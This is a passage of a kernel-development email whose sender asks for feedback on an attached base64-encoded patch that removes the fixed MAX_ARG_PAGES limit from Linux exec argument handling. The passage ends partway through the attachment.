get_user_pages() and kmap(), so this should be abstracted out.

Any insights would be greatly appreciated.  :)

Thanks,
Ollie

------=_Part_185071_12665247.1177958661717
Content-Type: text/x-patch; name=no_MAX_ARG_PAGES-2.6.18-rc1-pa2.patch; 
	charset=ANSI_X3.4-1968
Content-Transfer-Encoding: base64
X-Attachment-Id: f_f1592o31
Content-Disposition: attachment;
	filename="no_MAX_ARG_PAGES-2.6.18-rc1-pa2.patch"

ZGlmZiAtLWdpdCBhL2FyY2gveDg2XzY0L2lhMzIvaWEzMl9iaW5mbXQuYyBiL2FyY2gveDg2XzY0
L2lhMzIvaWEzMl9iaW5mbXQuYwppbmRleCA5MjZjNDc0Li4yYzY1OGViIDEwMDY0NAotLS0gYS9h
cmNoL3g4Nl82NC9pYTMyL2lhMzJfYmluZm10LmMKKysrIGIvYXJjaC94ODZfNjQvaWEzMi9pYTMy
X2JpbmZtdC5jCkBAIC0yNzUsOSArMjc1LDYgQEAgZG8gewkJCQkJCQlcCiAjZGVmaW5lIGxvYWRf
ZWxmX2JpbmFyeSBsb2FkX2VsZjMyX2JpbmFyeQogCiAjZGVmaW5lIEVMRl9QTEFUX0lOSVQociwg
bG9hZF9hZGRyKQllbGYzMl9pbml0KHIpCi0jZGVmaW5lIHNldHVwX2FyZ19wYWdlcyhicHJtLCBz
dGFja190b3AsIGV4ZWNfc3RhY2spIFwKLQlpYTMyX3NldHVwX2FyZ19wYWdlcyhicHJtLCBzdGFj
a190b3AsIGV4ZWNfc3RhY2spCi1pbnQgaWEzMl9zZXR1cF9hcmdfcGFnZXMoc3RydWN0IGxpbnV4
X2JpbnBybSAqYnBybSwgdW5zaWduZWQgbG9uZyBzdGFja190b3AsIGludCBleGVjdXRhYmxlX3N0
YWNrKTsKIAogI3VuZGVmIHN0YXJ0X3RocmVhZAogI2RlZmluZSBzdGFydF90aHJlYWQocmVncyxu
ZXdfcmlwLG5ld19yc3ApIGRvIHsgXApAQCAtMzM0LDU3ICszMzEsNyBAQCBzdGF0aWMgdm9pZCBl
bGYzMl9pbml0KHN0cnVjdCBwdF9yZWdzICpyZWdzKQogaW50IGlhMzJfc2V0dXBfYXJnX3BhZ2Vz
KHN0cnVjdCBsaW51eF9iaW5wcm0gKmJwcm0sIHVuc2lnbmVkIGxvbmcgc3RhY2tfdG9wLAogCQkJ
IGludCBleGVjdXRhYmxlX3N0YWNrKQogewotCXVuc2lnbmVkIGxvbmcgc3RhY2tfYmFzZTsKLQlz
dHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKm1wbnQ7Ci0Jc3RydWN0IG1tX3N0cnVjdCAqbW0gPSBjdXJy
ZW50LT5tbTsKLQlpbnQgaSwgcmV0OwotCi0Jc3RhY2tfYmFzZSA9IHN0YWNrX3RvcCAtIE1BWF9B
UkdfUEFHRVMgKiBQQUdFX1NJWkU7Ci0JbW0tPmFyZ19zdGFydCA9IGJwcm0tPnAgKyBzdGFja19i
YXNlOwotCi0JYnBybS0+cCArPSBzdGFja19iYXNlOwotCWlmIChicHJtLT5sb2FkZXIpCi0JCWJw
cm0tPmxvYWRlciArPSBzdGFja19iYXNlOwotCWJwcm0tPmV4ZWMgKz0gc3RhY2tfYmFzZTsKLQot
CW1wbnQgPSBrbWVtX2NhY2hlX2FsbG9jKHZtX2FyZWFfY2FjaGVwLCBTTEFCX0tFUk5FTCk7Ci0J
aWYgKCFtcG50KSAKLQkJcmV0dXJuIC1FTk9NRU07IAotCi0JbWVtc2V0KG1wbnQsIDAsIHNpemVv
ZigqbXBudCkpOwotCi0JZG93bl93cml0ZSgmbW0tPm1tYXBfc2VtKTsKLQl7Ci0JCW1wbnQtPnZt
X21tID0gbW07Ci0JCW1wbnQtPnZtX3N0YXJ0ID0gUEFHRV9NQVNLICYgKHVuc2lnbmVkIGxvbmcp
IGJwcm0tPnA7Ci0JCW1wbnQtPnZtX2VuZCA9IHN0YWNrX3RvcDsKLQkJaWYgKGV4ZWN1dGFibGVf
c3RhY2sgPT0gRVhTVEFDS19FTkFCTEVfWCkKLQkJCW1wbnQtPnZtX2ZsYWdzID0gVk1fU1RBQ0tf
RkxBR1MgfCAgVk1fRVhFQzsKLQkJZWxzZSBpZiAoZXhlY3V0YWJsZV9zdGFjayA9PSBFWFNUQUNL
X0RJU0FCTEVfWCkKLQkJCW1wbnQtPnZtX2ZsYWdzID0gVk1fU1RBQ0tfRkxBR1MgJiB+Vk1fRVhF
QzsKLQkJZWxzZQotCQkJbXBudC0+dm1fZmxhZ3MgPSBWTV9TVEFDS19GTEFHUzsKLSAJCW1wbnQt
PnZtX3BhZ2VfcHJvdCA9IChtcG50LT52bV9mbGFncyAmIFZNX0VYRUMpID8gCi0gCQkJUEFHRV9D
T1BZX0VYRUMgOiBQQUdFX0NPUFk7Ci0JCWlmICgocmV0ID0gaW5zZXJ0X3ZtX3N0cnVjdChtbSwg
bXBudCkpKSB7Ci0JCQl1cF93cml0ZSgmbW0tPm1tYXBfc2VtKTsKLQkJCWttZW1fY2FjaGVfZnJl
ZSh2bV9hcmVhX2NhY2hlcCwgbXBudCk7Ci0JCQlyZXR1cm4gcmV0OwotCQl9Ci0JCW1tLT5zdGFj
a192bSA9IG1tLT50b3RhbF92bSA9IHZtYV9wYWdlcyhtcG50KTsKLQl9IAotCi0JZm9yIChpID0g
MCA7IGkgPCBNQVhfQVJHX1BBR0VTIDsgaSsrKSB7Ci0JCXN0cnVjdCBwYWdlICpwYWdlID0gYnBy
bS0+cGFnZVtpXTsKLQkJaWYgKHBhZ2UpIHsKLQkJCWJwcm0tPnBhZ2VbaV0gPSBOVUxMOwotCQkJ
aW5zdGFsbF9hcmdfcGFnZShtcG50LCBwYWdlLCBzdGFja19iYXNlKTsKLQkJfQotCQlzdGFja19i
YXNlICs9IFBBR0VfU0laRTsKLQl9Ci0JdXBfd3JpdGUoJm1tLT5tbWFwX3NlbSk7Ci0JCi0JcmV0
dXJuIDA7CisJcmV0dXJuIHNldHVwX2FyZ19wYWdlcyhicHJtLCBzdGFja190b3AsIGV4ZWN1dGFi
bGVfc3RhY2spOwogfQogRVhQT1JUX1NZTUJPTChpYTMyX3NldHVwX2FyZ19wYWdlcyk7CiAKZGlm
ZiAtLWdpdCBhL2ZzL2JpbmZtdF9lbGYuYyBiL2ZzL2JpbmZtdF9lbGYuYwppbmRleCBmNDJlNjQy
Li4wYTFiYWIxIDEwMDY0NAotLS0gYS9mcy9iaW5mbXRfZWxmLmMKKysrIGIvZnMvYmluZm10X2Vs
Zi5jCkBAIC0yNTUsOSArMjU1LDEwIEBAIGNyZWF0ZV9lbGZfdGFibGVzKHN0cnVjdCBsaW51eF9i
aW5wcm0gKmJwcm0sIHN0cnVjdCBlbGZoZHIgKmV4ZWMsCiAJcCA9IGN1cnJlbnQtPm1tLT5hcmdf
ZW5kID0gY3VycmVudC0+bW0tPmFyZ19zdGFydDsKIAl3aGlsZSAoYXJnYy0tID4gMCkgewogCQlz
aXplX3QgbGVuOwotCQlfX3B1dF91c2VyKChlbGZfYWRkcl90KXAsIGFyZ3YrKyk7Ci0JCWxlbiA9
IHN0cm5sZW5fdXNlcigodm9pZCBfX3VzZXIgKilwLCBQQUdFX1NJWkUqTUFYX0FSR19QQUdFUyk7
Ci0JCWlmICghbGVuIHx8IGxlbiA+IFBBR0VfU0laRSpNQVhfQVJHX1BBR0VTKQorCQlpZiAoX19w
dXRfdXNlcigoZWxmX2FkZHJfdClwLCBhcmd2KyspKQorCQkJcmV0dXJuIC1FRkFVTFQ7CisJCWxl
biA9IHN0cm5sZW5fdXNlcigodm9pZCBfX3VzZXIgKilwLCBNQVhfQVJHX1NUUkxFTik7CisJCWlm
ICghbGVuIHx8IGxlbiA+IE1BWF9BUkdfU1RSTEVOKQogCQkJcmV0dXJuIDA7CiAJCXAgKz0gbGVu
OwogCX0KQEAgLTI2Niw5ICsyNjcsMTAgQEAgY3JlYXRlX2VsZl90YWJsZXMoc3RydWN0IGxpbnV4
X2JpbnBybSAqYnBybSwgc3RydWN0IGVsZmhkciAqZXhlYywKIAljdXJyZW50LT5tbS0+YXJnX2Vu
ZCA9IGN1cnJlbnQtPm1tLT5lbnZfc3RhcnQgPSBwOwogCXdoaWxlIChlbnZjLS0gPiAwKSB7CiAJ
CXNpemVfdCBsZW47Ci0JCV9fcHV0X3VzZXIoKGVsZl9hZGRyX3QpcCwgZW52cCsrKTsKLQkJbGVu
ID0gc3Rybmxlbl91c2VyKCh2b2lkIF9fdXNlciAqKXAsIFBBR0VfU0laRSpNQVhfQVJHX1BBR0VT
KTsKLQkJaWYgKCFsZW4gfHwgbGVuID4gUEFHRV9TSVpFKk1BWF9BUkdfUEFHRVMpCisJCWlmIChf
X3B1dF91c2VyKChlbGZfYWRkcl90KXAsIGVudnArKykpCisJCQlyZXR1cm4gLUVGQVVMVDsKKwkJ
bGVuID0gc3Rybmxlbl91c2VyKCh2b2lkIF9fdXNlciAqKXAsIE1BWF9BUkdfU1RSTEVOKTsKKwkJ
aWYgKCFsZW4gfHwgbGVuID4gTUFYX0FSR19TVFJMRU4pCiAJCQlyZXR1cm4gMDsKIAkJcCArPSBs
ZW47CiAJfQpAQCAtNzY5LDEwICs3NzEsNiBAQCBzdGF0aWMgaW50IGxvYWRfZWxmX2JpbmFyeShz
dHJ1Y3QgbGludXhfYmlucHJtICpicHJtLCBzdHJ1Y3QgcHRfcmVncyAqcmVncykKIAl9CiAKIAkv
KiBPSywgVGhpcyBpcyB0aGUgcG9pbnQgb2Ygbm8gcmV0dXJuICovCi0JY3VycmVudC0+bW0tPnN0
YXJ0X2RhdGEgPSAwOwotCWN1cnJlbnQtPm1tLT5lbmRfZGF0YSA9IDA7Ci0JY3VycmVudC0+bW0t
PmVuZF9jb2RlID0gMDsKLQljdXJyZW50LT5tbS0+bW1hcCA9IE5VTEw7CiAJY3VycmVudC0+Zmxh
Z3MgJj0gflBGX0ZPUktOT0VYRUM7CiAJY3VycmVudC0+bW0tPmRlZl9mbGFncyA9IGRlZl9mbGFn
czsKIApAQCAtOTc3LDkgKzk3NSwxMyBAQCBzdGF0aWMgaW50IGxvYWRfZWxmX2JpbmFyeShzdHJ1
Y3QgbGludXhfYmlucHJtICpicHJtLCBzdHJ1Y3QgcHRfcmVncyAqcmVncykKIAogCWNvbXB1dGVf
Y3JlZHMoYnBybSk7CiAJY3VycmVudC0+ZmxhZ3MgJj0gflBGX0ZPUktOT0VYRUM7Ci0JY3JlYXRl
X2VsZl90YWJsZXMoYnBybSwgJmxvYy0+ZWxmX2V4LAorCXJldHZhbCA9IGNyZWF0ZV9lbGZfdGFi
bGVzKGJwcm0sICZsb2MtPmVsZl9leCwKIAkJCSAgKGludGVycHJldGVyX3R5cGUgPT0gSU5URVJQ
UkVURVJfQU9VVCksCiAJCQkgIGxvYWRfYWRkciwgaW50ZXJwX2xvYWRfYWRkcik7CisJaWYgKHJl
dHZhbCA8IDApIHsKKwkJc2VuZF9zaWcoU0lHU0VHViwgY3VycmVudCwgMCk7CisJCWdvdG8gb3V0
OworCX0KIAkvKiBOLkIuIHBhc3NlZF9maWxlbm8gbWlnaHQgbm90IGJlIGluaXRpYWxpemVkPyAq
LwogCWlmIChpbnRlcnByZXRlcl90eXBlID09IElOVEVSUFJFVEVSX0FPVVQpCiAJCWN1cnJlbnQt
Pm1tLT5hcmdfc3RhcnQgKz0gc3RybGVuKHBhc3NlZF9maWxlbm8pICsgMTsKZGlmZiAtLWdpdCBh
L2ZzL2JpbmZtdF9lbGZfZmRwaWMuYyBiL2ZzL2JpbmZtdF9lbGZfZmRwaWMuYwppbmRleCBlYmE0
ZTIzLi5iMjZlOWMxIDEwMDY0NAotLS0gYS9mcy9iaW5mbXRfZWxmX2ZkcGljLmMKKysrIGIvZnMv
YmluZm10X2VsZl9mZHBpYy5jCkBAIC01ODQsOCArNTg0LDggQEAgc3RhdGljIGludCBjcmVhdGVf
ZWxmX2ZkcGljX3RhYmxlcyhzdHJ1Y3QgbGludXhfYmlucHJtICpicHJtLAogCXAgPSAoY2hhciBf
X3VzZXIgKikgY3VycmVudC0+bW0tPmFyZ19zdGFydDsKIAlmb3IgKGxvb3AgPSBicHJtLT5hcmdj
OyBsb29wID4gMDsgbG9vcC0tKSB7CiAJCV9fcHV0X3VzZXIoKGVsZl9jYWRkcl90KSBwLCBhcmd2
KyspOwotCQlsZW4gPSBzdHJubGVuX3VzZXIocCwgUEFHRV9TSVpFICogTUFYX0FSR19QQUdFUyk7
Ci0JCWlmICghbGVuIHx8IGxlbiA+IFBBR0VfU0laRSAqIE1BWF9BUkdfUEFHRVMpCisJCWxlbiA9
IHN0cm5sZW5fdXNlcihwLCBNQVhfQVJHX1NUUkxFTik7CisJCWlmICghbGVuIHx8IGxlbiA+IE1B
WF9BUkdfU1RSTEVOKQogCQkJcmV0dXJuIC1FSU5WQUw7CiAJCXAgKz0gbGVuOwogCX0KQEAgLTU5
Niw4ICs1OTYsOCBAQCBzdGF0aWMgaW50IGNyZWF0ZV9lbGZfZmRwaWNfdGFibGVzKHN0cnVjdCBs
aW51eF9iaW5wcm0gKmJwcm0sCiAJY3VycmVudC0+bW0tPmVudl9zdGFydCA9ICh1bnNpZ25lZCBs
b25nKSBwOwogCWZvciAobG9vcCA9IGJwcm0tPmVudmM7IGxvb3AgPiAwOyBsb29wLS0pIHsKIAkJ
X19wdXRfdXNlcigoZWxmX2NhZGRyX3QpKHVuc2lnbmVkIGxvbmcpIHAsIGVudnArKyk7Ci0JCWxl
biA9IHN0cm5sZW5fdXNlcihwLCBQQUdFX1NJWkUgKiBNQVhfQVJHX1BBR0VTKTsKLQkJaWYgKCFs
ZW4gfHwgbGVuID4gUEFHRV9TSVpFICogTUFYX0FSR19QQUdFUykKKwkJbGVuID0gc3Rybmxlbl91
c2VyKHAsIE1BWF9BUkdfU1RSTEVOKTsKKwkJaWYgKCFsZW4gfHwgbGVuID4gTUFYX0FSR19TVFJM
RU4pCiAJCQlyZXR1cm4gLUVJTlZBTDsKIAkJcCArPSBsZW47CiAJfQpkaWZmIC0tZ2l0IGEvZnMv
YmluZm10X21pc2MuYyBiL2ZzL2JpbmZtdF9taXNjLmMKaW5kZXggMzRlYmJjMS4uMzEzMDIyYyAx
MDA2NDQKLS0tIGEvZnMvYmluZm10X21pc2MuYworKysgYi9mcy9iaW5mbXRfbWlzYy5jCkBAIC0x
MjYsNyArMTI2LDkgQEAgc3RhdGljIGludCBsb2FkX21pc2NfYmluYXJ5KHN0cnVjdCBsaW51eF9i
aW5wcm0gKmJwcm0sIHN0cnVjdCBwdF9yZWdzICpyZWdzKQogCQlnb3RvIF9yZXQ7CiAKIAlpZiAo
IShmbXQtPmZsYWdzICYgTUlTQ19GTVRfUFJFU0VSVkVfQVJHVjApKSB7Ci0JCXJlbW92ZV9hcmdf
emVybyhicHJtKTsKKwkJcmV0dmFsID0gcmVtb3ZlX2FyZ196ZXJvKGJwcm0pOworCQlpZiAocmV0
dmFsKQorCQkJZ290byBfcmV0OwogCX0KIAogCWlmIChmbXQtPmZsYWdzICYgTUlTQ19GTVRfT1BF
Tl9CSU5BUlkpIHsKZGlmZiAtLWdpdCBhL2ZzL2JpbmZtdF9zY3JpcHQuYyBiL2ZzL2JpbmZtdF9z
Y3JpcHQuYwppbmRleCAxZWRiY2NhLi41YjYzMDlmIDEwMDY0NAotLS0gYS9mcy9iaW5mbXRfc2Ny
aXB0LmMKKysrIGIvZnMvYmluZm10X3NjcmlwdC5jCkBAIC02OCw3ICs2OCw5IEBAIHN0YXRpYyBp
bnQgbG9hZF9zY3JpcHQoc3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSxzdHJ1Y3QgcHRfcmVncyAq
cmVncykKIAkgKiBUaGlzIGlzIGRvbmUgaW4gcmV2ZXJzZSBvcmRlciwgYmVjYXVzZSBvZiBob3cg
dGhlCiAJICogdXNlciBlbnZpcm9ubWVudCBhbmQgYXJndW1lbnRzIGFyZSBzdG9yZWQuCiAJICov
Ci0JcmVtb3ZlX2FyZ196ZXJvKGJwcm0pOworCXJldHZhbCA9IHJlbW92ZV9hcmdfemVybyhicHJt
KTsKKwlpZiAocmV0dmFsKQorCQlyZXR1cm4gcmV0dmFsOwogCXJldHZhbCA9IGNvcHlfc3RyaW5n
c19rZXJuZWwoMSwgJmJwcm0tPmludGVycCwgYnBybSk7CiAJaWYgKHJldHZhbCA8IDApIHJldHVy
biByZXR2YWw7IAogCWJwcm0tPmFyZ2MrKzsKZGlmZiAtLWdpdCBhL2ZzL2NvbXBhdC5jIGIvZnMv
Y29tcGF0LmMKaW5kZXggZTMxZTljZi4uYjMwNDcxNyAxMDA2NDQKLS0tIGEvZnMvY29tcGF0LmMK
KysrIGIvZnMvY29tcGF0LmMKQEAgLTE0MDUsNiArMTQwNSw3IEBAIHN0YXRpYyBpbnQgY29tcGF0
X2NvcHlfc3RyaW5ncyhpbnQgYXJnYywgY29tcGF0X3VwdHJfdCBfX3VzZXIgKmFyZ3YsCiB7CiAJ
c3RydWN0IHBhZ2UgKmttYXBwZWRfcGFnZSA9IE5VTEw7CiAJY2hhciAqa2FkZHIgPSBOVUxMOwor
CXVuc2lnbmVkIGxvbmcga3BvcyA9IDA7CiAJaW50IHJldDsKIAogCXdoaWxlIChhcmdjLS0gPiAw
KSB7CkBAIC0xNDEzLDkyICsxNDE0LDgwIEBAIHN0YXRpYyBpbnQgY29tcGF0X2NvcHlfc3RyaW5n
cyhpbnQgYXJnYywgY29tcGF0X3VwdHJfdCBfX3VzZXIgKmFyZ3YsCiAJCXVuc2lnbmVkIGxvbmcg
cG9zOwogCiAJCWlmIChnZXRfdXNlcihzdHIsIGFyZ3YrYXJnYykgfHwKLQkJCSEobGVuID0gc3Ry
bmxlbl91c2VyKGNvbXBhdF9wdHIoc3RyKSwgYnBybS0+cCkpKSB7CisJCSAgICAhKGxlbiA9IHN0
cm5sZW5fdXNlcihjb21wYXRfcHRyKHN0ciksIE1BWF9BUkdfU1RSTEVOKSkpIHsKIAkJCXJldCA9
IC1FRkFVTFQ7CiAJCQlnb3RvIG91dDsKIAkJfQogCi0JCWlmIChicHJtLT5wIDwgbGVuKSAgewor
CQlpZiAoTUFYX0FSR19TVFJMRU4gPCBsZW4pIHsKIAkJCXJldCA9IC1FMkJJRzsKIAkJCWdvdG8g
b3V0OwogCQl9CiAKLQkJYnBybS0+cCAtPSBsZW47Ci0JCS8qIFhYWDogYWRkIGFyY2hpdGVjdHVy
ZSBzcGVjaWZpYyBvdmVyZmxvdyBjaGVjayBoZXJlLiAqLworCQkvKiBXZSdyZSBnb2luZyB0byB3
b3JrIG91ciB3YXkgYmFja3dvcmRzLiAqLwogCQlwb3MgPSBicHJtLT5wOworCQlzdHIgKz0gbGVu
OworCQlicHJtLT5wIC09IGxlbjsKIAogCQl3aGlsZSAobGVuID4gMCkgewotCQkJaW50IGksIG5l
dywgZXJyOwogCQkJaW50IG9mZnNldCwgYnl0ZXNfdG9fY29weTsKLQkJCXN0cnVjdCBwYWdlICpw
YWdlOwogCiAJCQlvZmZzZXQgPSBwb3MgJSBQQUdFX1NJWkU7Ci0JCQlpID0gcG9zL1BBR0VfU0la
RTsKLQkJCXBhZ2UgPSBicHJtLT5wYWdlW2ldOwotCQkJbmV3ID0gMDsKLQkJCWlmICghcGFnZSkg
ewotCQkJCXBhZ2UgPSBhbGxvY19wYWdlKEdGUF9ISUdIVVNFUik7Ci0JCQkJYnBybS0+cGFnZVtp
XSA9IHBhZ2U7Ci0JCQkJaWYgKCFwYWdlKSB7Ci0JCQkJCXJldCA9IC1FTk9NRU07CisJCQlpZiAo
b2Zmc2V0ID09IDApCisJCQkJb2Zmc2V0ID0gUEFHRV9TSVpFOworCisJCQlieXRlc190b19jb3B5
ID0gb2Zmc2V0OworCQkJaWYgKGJ5dGVzX3RvX2NvcHkgPiBsZW4pCisJCQkJYnl0ZXNfdG9fY29w
eSA9IGxlbjsKKworCQkJb2Zmc2V0IC09IGJ5dGVzX3RvX2NvcHk7CisJCQlwb3MgLT0gYnl0ZXNf
dG9fY29weTsKKwkJCXN0ciAtPSBieXRlc190b19jb3B5OworCQkJbGVuIC09IGJ5dGVzX3RvX2Nv
cHk7CisKKwkJCWlmICgha21hcHBlZF9wYWdlIHx8IGtwb3MgIT0gKHBvcyAmIFBBR0VfTUFTSykp
IHsKKwkJCQlzdHJ1Y3QgcGFnZSAqcGFnZTsKKworI2lmZGVmIENPTkZJR19TVEFDS19HUk9XU1VQ
CisJCQkJcmV0ID0gZXhwYW5kX2Rvd253YXJkcyhicHJtLT52bWEsIHBvcyk7CisJCQkJaWYgKHJl
dCA8IDApIHsKKwkJCQkJLyogV2UndmUgZXhjZWVkIHRoZSBzdGFjayBybGltaXQuICovCisJCQkJ
CXJldCA9IC1FMkJJRzsKKwkJCQkJZ290byBvdXQ7CisJCQkJfQorI2VuZGlmCisJCQkJcmV0ID0g
Z2V0X3VzZXJfcGFnZXMoY3VycmVudCwgYnBybS0+bW0sIHBvcywKKwkJCQkJCSAgICAgMSwgMSwg
MSwgJnBhZ2UsIE5VTEwpOworCQkJCWlmIChyZXQgPD0gMCkgeworCQkJCQkvKiBXZSd2ZSBleGNl
ZWQgdGhlIHN0YWNrIHJsaW1pdC4gKi8KKwkJCQkJcmV0ID0gLUUyQklHOwogCQkJCQlnb3RvIG91
dDsKIAkJCQl9Ci0JCQkJbmV3ID0gMTsKLQkJCX0KIAotCQkJaWYgKHBhZ2UgIT0ga21hcHBlZF9w
YWdlKSB7Ci0JCQkJaWYgKGttYXBwZWRfcGFnZSkKKwkJCQlpZiAoa21hcHBlZF9wYWdlKSB7CiAJ
CQkJCWt1bm1hcChrbWFwcGVkX3BhZ2UpOworCQkJCQlwdXRfcGFnZShrbWFwcGVkX3BhZ2UpOwor
CQkJCX0KIAkJCQlrbWFwcGVkX3BhZ2UgPSBwYWdlOwogCQkJCWthZGRyID0ga21hcChrbWFwcGVk
X3BhZ2UpOworCQkJCWtwb3MgPSBwb3MgJiBQQUdFX01BU0s7CiAJCQl9Ci0JCQlpZiAobmV3ICYm
IG9mZnNldCkKLQkJCQltZW1zZXQoa2FkZHIsIDAsIG9mZnNldCk7Ci0JCQlieXRlc190b19jb3B5
ID0gUEFHRV9TSVpFIC0gb2Zmc2V0OwotCQkJaWYgKGJ5dGVzX3RvX2NvcHkgPiBsZW4pIHsKLQkJ
CQlieXRlc190b19jb3B5ID0gbGVuOwotCQkJCWlmIChuZXcpCi0JCQkJCW1lbXNldChrYWRkcitv
ZmZzZXQrbGVuLCAwLAotCQkJCQkJUEFHRV9TSVpFLW9mZnNldC1sZW4pOwotCQkJfQotCQkJZXJy
ID0gY29weV9mcm9tX3VzZXIoa2FkZHIrb2Zmc2V0LCBjb21wYXRfcHRyKHN0ciksCi0JCQkJCQli
eXRlc190b19jb3B5KTsKLQkJCWlmIChlcnIpIHsKKwkJCWlmIChjb3B5X2Zyb21fdXNlcihrYWRk
citvZmZzZXQsIGNvbXBhdF9wdHIoc3RyKSwKKwkJCQkJCWJ5dGVzX3RvX2NvcHkpKSB7CiAJCQkJ
cmV0ID0gLUVGQVVMVDsKIAkJCQlnb3RvIG91dDsKIAkJCX0KLQotCQkJcG9zICs9IGJ5dGVzX3Rv
X2NvcHk7Ci0JCQlzdHIgKz0gYnl0ZXNfdG9fY29weTsKLQkJCWxlbiAtPSBieXRlc190b19jb3B5
OwogCQl9CiAJfQogCXJldCA9IDA7CiBvdXQ6Ci0JaWYgKGttYXBwZWRfcGFnZSkKKwlpZiAoa21h
cHBlZF9wYWdlKSB7CiAJCWt1bm1hcChrbWFwcGVkX3BhZ2UpOwotCXJldHVybiByZXQ7Ci19Ci0K
LSNpZmRlZiBDT05GSUdfTU1VCi0KLSNkZWZpbmUgZnJlZV9hcmdfcGFnZXMoYnBybSkgZG8geyB9
IHdoaWxlICgwKQotCi0jZWxzZQotCi1zdGF0aWMgaW5saW5lIHZvaWQgZnJlZV9hcmdfcGFnZXMo
c3RydWN0IGxpbnV4X2JpbnBybSAqYnBybSkKLXsKLQlpbnQgaTsKLQotCWZvciAoaSA9IDA7IGkg
PCBNQVhfQVJHX1BBR0VTOyBpKyspIHsKLQkJaWYgKGJwcm0tPnBhZ2VbaV0pCi0JCQlfX2ZyZWVf
cGFnZShicHJtLT5wYWdlW2ldKTsKLQkJYnBybS0+cGFnZVtpXSA9IE5VTEw7CisJCXB1dF9wYWdl
KGttYXBwZWRfcGFnZSk7CiAJfQorCXJldHVybiByZXQ7CiB9CiAKLSNlbmRpZiAvKiBDT05GSUdf
TU1VICovCi0KIC8qCiAgKiBjb21wYXRfZG9fZXhlY3ZlKCkgaXMgbW9zdGx5IGEgY29weSBvZiBk
b19leGVjdmUoKSwgd2l0aCB0aGUgZXhjZXB0aW9uCiAgKiB0aGF0IGl0IHByb2Nlc3NlcyAzMiBi
aXQgYXJndiBhbmQgZW52cCBwb2ludGVycy4KQEAgLTE1MTEsNyArMTUwMCw2IEBAIGludCBjb21w
YXRfZG9fZXhlY3ZlKGNoYXIgKiBmaWxlbmFtZSwKIAlzdHJ1Y3QgbGludXhfYmlucHJtICpicHJt
OwogCXN0cnVjdCBmaWxlICpmaWxlOwogCWludCByZXR2YWw7Ci0JaW50IGk7CiAKIAlyZXR2YWwg
PSAtRU5PTUVNOwogCWJwcm0gPSBremFsbG9jKHNpemVvZigqYnBybSksIEdGUF9LRVJORUwpOwpA
QCAtMTUyNSwyNCArMTUxMywxOSBAQCBpbnQgY29tcGF0X2RvX2V4ZWN2ZShjaGFyICogZmlsZW5h
bWUsCiAKIAlzY2hlZF9leGVjKCk7CiAKLQlicHJtLT5wID0gUEFHRV9TSVpFKk1BWF9BUkdfUEFH
RVMtc2l6ZW9mKHZvaWQgKik7CiAJYnBybS0+ZmlsZSA9IGZpbGU7CiAJYnBybS0+ZmlsZW5hbWUg
PSBmaWxlbmFtZTsKIAlicHJtLT5pbnRlcnAgPSBmaWxlbmFtZTsKLQlicHJtLT5tbSA9IG1tX2Fs
bG9jKCk7Ci0JcmV0dmFsID0gLUVOT01FTTsKLQlpZiAoIWJwcm0tPm1tKQotCQlnb3RvIG91dF9m
aWxlOwogCi0JcmV0dmFsID0gaW5pdF9uZXdfY29udGV4dChjdXJyZW50LCBicHJtLT5tbSk7Ci0J
aWYgKHJldHZhbCA8IDApCi0JCWdvdG8gb3V0X21tOworCXJldHZhbCA9IGJwcm1fbW1faW5pdChi
cHJtKTsKKwlpZiAocmV0dmFsKQorCQlnb3RvIG91dF9maWxlOwogCi0JYnBybS0+YXJnYyA9IGNv
bXBhdF9jb3VudChhcmd2LCBicHJtLT5wIC8gc2l6ZW9mKGNvbXBhdF91cHRyX3QpKTsKKwlicHJt
LT5hcmdjID0gY29tcGF0X2NvdW50KGFyZ3YsIE1BWF9BUkdfU1RSSU5HUyk7CiAJaWYgKChyZXR2
YWwgPSBicHJtLT5hcmdjKSA8IDApCiAJCWdvdG8gb3V0X21tOwogCi0JYnBybS0+ZW52YyA9IGNv
bXBhdF9jb3VudChlbnZwLCBicHJtLT5wIC8gc2l6ZW9mKGNvbXBhdF91cHRyX3QpKTsKKwlicHJt
LT5lbnZjID0gY29tcGF0X2NvdW50KGVudnAsIE1BWF9BUkdfU1RSSU5HUyk7CiAJaWYgKChyZXR2
YWwgPSBicHJtLT5lbnZjKSA8IDApCiAJCWdvdG8gb3V0X21tOwogCkBAIC0xNTY3LDEwICsxNTUw
LDggQEAgaW50IGNvbXBhdF9kb19leGVjdmUoY2hhciAqIGZpbGVuYW1lLAogCWlmIChyZXR2YWwg
PCAwKQogCQlnb3RvIG91dDsKIAotCXJldHZhbCA9IHNlYXJjaF9iaW5hcnlfaGFuZGxlcihicHJt
LCByZWdzKTsKKwlyZXR2YWwgPSBzZWFyY2hfYmluYXJ5X2hhbmRsZXIoYnBybSxyZWdzKTsKIAlp
ZiAocmV0dmFsID49IDApIHsKLQkJZnJlZV9hcmdfcGFnZXMoYnBybSk7Ci0KIAkJLyogZXhlY3Zl
IHN1Y2Nlc3MgKi8KIAkJc2VjdXJpdHlfYnBybV9mcmVlKGJwcm0pOwogCQlhY2N0X3VwZGF0ZV9p
bnRlZ3JhbHMoY3VycmVudCk7CkBAIC0xNTc5LDE5ICsxNTYwLDEyIEBAIGludCBjb21wYXRfZG9f
ZXhlY3ZlKGNoYXIgKiBmaWxlbmFtZSwKIAl9CiAKIG91dDoKLQkvKiBTb21ldGhpbmcgd2VudCB3
cm9uZywgcmV0dXJuIHRoZSBpbm9kZSBhbmQgZnJlZSB0aGUgYXJndW1lbnQgcGFnZXMqLwotCWZv
ciAoaSA9IDAgOyBpIDwgTUFYX0FSR19QQUdFUyA7IGkrKykgewotCQlzdHJ1Y3QgcGFnZSAqIHBh
Z2UgPSBicHJtLT5wYWdlW2ldOwotCQlpZiAocGFnZSkKLQkJCV9fZnJlZV9wYWdlKHBhZ2UpOwot
CX0KLQogCWlmIChicHJtLT5zZWN1cml0eSkKIAkJc2VjdXJpdHlfYnBybV9mcmVlKGJwcm0pOwog
CiBvdXRfbW06CiAJaWYgKGJwcm0tPm1tKQotCQltbWRyb3AoYnBybS0+bW0pOworCQltbXB1dCAo
YnBybS0+bW0pOwogCiBvdXRfZmlsZToKIAlpZiAoYnBybS0+ZmlsZSkgewpkaWZmIC0tZ2l0IGEv
ZnMvZXhlYy5jIGIvZnMvZXhlYy5jCmluZGV4IDgzNDRiYTcuLjk5Y2YzYTcgMTAwNjQ0Ci0tLSBh
L2ZzL2V4ZWMuYworKysgYi9mcy9leGVjLmMKQEAgLTUyLDYgKzUyLDcgQEAKIAogI2luY2x1ZGUg
